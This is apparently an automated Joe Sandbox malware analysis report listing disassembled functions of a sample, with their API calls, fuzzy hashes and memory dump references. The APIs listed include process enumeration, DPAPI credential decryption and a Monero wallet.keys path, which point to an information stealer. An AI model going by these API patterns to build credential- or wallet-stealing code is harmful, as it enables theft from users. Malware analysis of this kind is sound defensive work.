Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: a013efaffb6290370f3159161dc3362aa8c06a1fda1edcf7d066081c90190f23
Instruction ID: 3b3f9ef35d57ec688c16d2368b866854f362cca7ef8c62e509dbd05d9cea2ab0
Opcode Fuzzy Hash: a013efaffb6290370f3159161dc3362aa8c06a1fda1edcf7d066081c90190f23
Instruction Fuzzy Hash: 85015EB5A04208EBCB24DFE5D898BEDBBF9EF08311F004198A90A97240D7749B80DF50

Function 0136E486 Relevance: 6.6, Strings: 4, Instructions: 1635COMMON

Download Yara Rule

Strings

xEI2, xrefs: 0136E8BF
:20, xrefs: 0136F2F9
\M/, xrefs: 0136F163
r^w7, xrefs: 0136F4FA

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :20$\M/$r^w7$xEI2
API String ID: 0-1202915757
Opcode ID: 6bd33c173357c1396dea7cce45d00125e9133d5947c6cf33511bf8d0076a26ef
Instruction ID: 4d27ed9668bb92bdb1419b73143ed859106f8fb74c3fe09af76fbaa895021005
Opcode Fuzzy Hash: 6bd33c173357c1396dea7cce45d00125e9133d5947c6cf33511bf8d0076a26ef
Instruction Fuzzy Hash: CDB236F360C2049FE3046E2DEC8567AFBEAEBD4320F1A463DE6C4C7744EA7558058696

Function 0137343B Relevance: 6.6, Strings: 4, Instructions: 1588COMMON

Download Yara Rule

Strings

e0\, xrefs: 01374215
a]_, xrefs: 013735E0
5iU<, xrefs: 0137431B
:%1, xrefs: 013746D6

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5iU<$:%1$a]_$e0\
API String ID: 0-844207780
Opcode ID: c0bd010a54b29e73d211acb7846f28471478535c787ee140cf2c45c659347c27
Instruction ID: 7defdf44d74cb61928940adf26affe4b7c7ec782b77d997f1c9be90f51ed33f1
Opcode Fuzzy Hash: c0bd010a54b29e73d211acb7846f28471478535c787ee140cf2c45c659347c27
Instruction Fuzzy Hash: 4AB2F5F360C2009FE7046E2DEC8567ABBE9EF94320F1A463DEAC4C7744E63598058696

Function 013768E2 Relevance: 6.6, Strings: 4, Instructions: 1559COMMON

Download Yara Rule

Strings

s{zs, xrefs: 013776AD
t~, xrefs: 01377587
S[, xrefs: 01377453
alm, xrefs: 0137733F

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: S[$alm$s{zs$t~
API String ID: 0-3394095219
Opcode ID: 19065c3349c415a5f892d8dccdf403d2724bba9f28d22818feaf03ba5a9c4f5c
Instruction ID: 3020e6822e9b92bb0db96c5936977948db01a887e14953ed53040806376ffd0a
Opcode Fuzzy Hash: 19065c3349c415a5f892d8dccdf403d2724bba9f28d22818feaf03ba5a9c4f5c
Instruction Fuzzy Hash: 6BA2F7F350C204AFE304BE29EC85A7ABBE9EF94760F16493DE6C4C7744E63598018697

Function 01367CBF Relevance: 6.2, Strings: 4, Instructions: 1189COMMON

Download Yara Rule

Strings

~C{}, xrefs: 01367E71
F29;, xrefs: 013687CB
ao~, xrefs: 01368710
Zg/, xrefs: 01368745

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Zg/$F29;$ao~$~C{}
API String ID: 0-3042852259
Opcode ID: e6c9a235fbdf298f4eadf306a6e2a668ea55cf0a4e7d62df26e5bc9894538ab7
Instruction ID: 1aedb69c95027c1e1bc9296091d4e5a7456808a23bcd4dc12e176cb15a6bf107
Opcode Fuzzy Hash: e6c9a235fbdf298f4eadf306a6e2a668ea55cf0a4e7d62df26e5bc9894538ab7
Instruction Fuzzy Hash: F6820AF3A082049FE7046E2DEC8577AFBEAEBD4720F1A453DE6C4C3744E93598058696

Function 00FB8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00FC05B7), ref: 00FB86CA
Process32First.KERNEL32(?,00000128), ref: 00FB86DE
Process32Next.KERNEL32(?,00000128), ref: 00FB86F3

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

CloseHandle.KERNEL32(?), ref: 00FB8761

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 212637238fe07e88746f4212690aa62ceea1494806cd03c837014365a156ad4f
Instruction ID: db7bff3a436ca079ff7e6b41d18841326c765a3b9912da9218d1604edcaa6a75
Opcode Fuzzy Hash: 212637238fe07e88746f4212690aa62ceea1494806cd03c837014365a156ad4f
Instruction Fuzzy Hash: 83314D71901218ABCB24DF96DC55FEEB7B8EF45700F1041A9E10AA6190DF346E45DFA1

Function 00FB8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00FA5184,40000001,00000000,00000000,?,00FA5184), ref: 00FB8EC0

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: b5944e89e05d08f1b0dc0e98186f7923ca44bb7e1d0ace270a2b0e88e8fea980
Instruction ID: 4065255a2c55d6124e5645d4bca68defaba49f2b33607269e1d0e58cc3ef72ae
Opcode Fuzzy Hash: b5944e89e05d08f1b0dc0e98186f7923ca44bb7e1d0ace270a2b0e88e8fea980
Instruction Fuzzy Hash: 5D110671200208AFDB04DFA5E884FFA37ADAFC9750F109458F9198B240DB35E882EF60

Function 00FA9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FA4EEE,00000000,00000000), ref: 00FA9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00FA4EEE,00000000,?), ref: 00FA9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FA4EEE,00000000,00000000), ref: 00FA9B2A
LocalFree.KERNEL32(?,?,?,?,00FA4EEE,00000000,?), ref: 00FA9B3F

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: b55e1a87ec8090373f494b0a30b85cb3df8818b283b39e1a2c8523f11ea0b322
Instruction ID: f5944ff50538b6983e7bbfa927eff062fa00dbaf86abd015afda834ef903456f
Opcode Fuzzy Hash: b55e1a87ec8090373f494b0a30b85cb3df8818b283b39e1a2c8523f11ea0b322
Instruction Fuzzy Hash: EA11D4B4640208EFEB14CFA4D895FAA77B5FB89711F208068F9159F384C7B1AA41DB60

Function 00FB7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FC0E00,00000000,?), ref: 00FB79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00FB79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00FC0E00,00000000,?), ref: 00FB79C4
wsprintfA.USER32 ref: 00FB79F3

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 9c724def411c61cf783d1b29a339ac9dfedee9613fc8b2b6169e3e1ce5fa7c1e
Instruction ID: 7d2369aa55e278c38cd73942d9b6a5fb717406c8e38464acf812fd69f4b53867
Opcode Fuzzy Hash: 9c724def411c61cf783d1b29a339ac9dfedee9613fc8b2b6169e3e1ce5fa7c1e
Instruction Fuzzy Hash: 6A112EB2904118ABCB14DFC9E945FBEB7F8FB4CB11F10411AF515A2284D3395940DB71

Function 00FB7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008CDE00,00000000,?,00FC0E10,00000000,?,00000000,00000000), ref: 00FB7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00FB7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008CDE00,00000000,?,00FC0E10,00000000,?,00000000,00000000,?), ref: 00FB7A7D
wsprintfA.USER32 ref: 00FB7AB7

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 6bebab8879eb6fb1a779928ca32aaa5661f9fcfa4211753d5da00d6e45a637bf
Instruction ID: 6d26c504f99bc37bde18a63daf166f5614733f71a024a63a9505a8f58a4a635b
Opcode Fuzzy Hash: 6bebab8879eb6fb1a779928ca32aaa5661f9fcfa4211753d5da00d6e45a637bf
Instruction Fuzzy Hash: DA11C2B1905218DBDB249F94DC45F99BBB8FB44721F1043A9E516932C0C7345A80CF51

Function 00FB3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00FBE118,00000000,00000001,00FBE108,00000000), ref: 00FB3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00FB37B0

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: fb85068a6a25415259eaaf3b3b55f2ae22ac9fbae8cce9270292931ebd20975e
Instruction ID: 5994a277414946b3bc1a79c3122a8ef5a8b1221759a5f36dac5a3eee6b9652de
Opcode Fuzzy Hash: fb85068a6a25415259eaaf3b3b55f2ae22ac9fbae8cce9270292931ebd20975e
Instruction Fuzzy Hash: 61410671A40A289FDB24DB58CC94BDBB7B5BB48302F4041D8E608AB290E771AEC5CF50

Function 00FA9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FA9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FA9BA3
LocalFree.KERNEL32(?), ref: 00FA9BD3

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 604933f57a7ef5b098d78974eee4a6a77c4e7235badc6d009ba17cb4d793d39f
Instruction ID: 0c18df4ea5495b8a09ed0ca1583a47ae39a33f5d9f4b189dff327fefd65fbb42
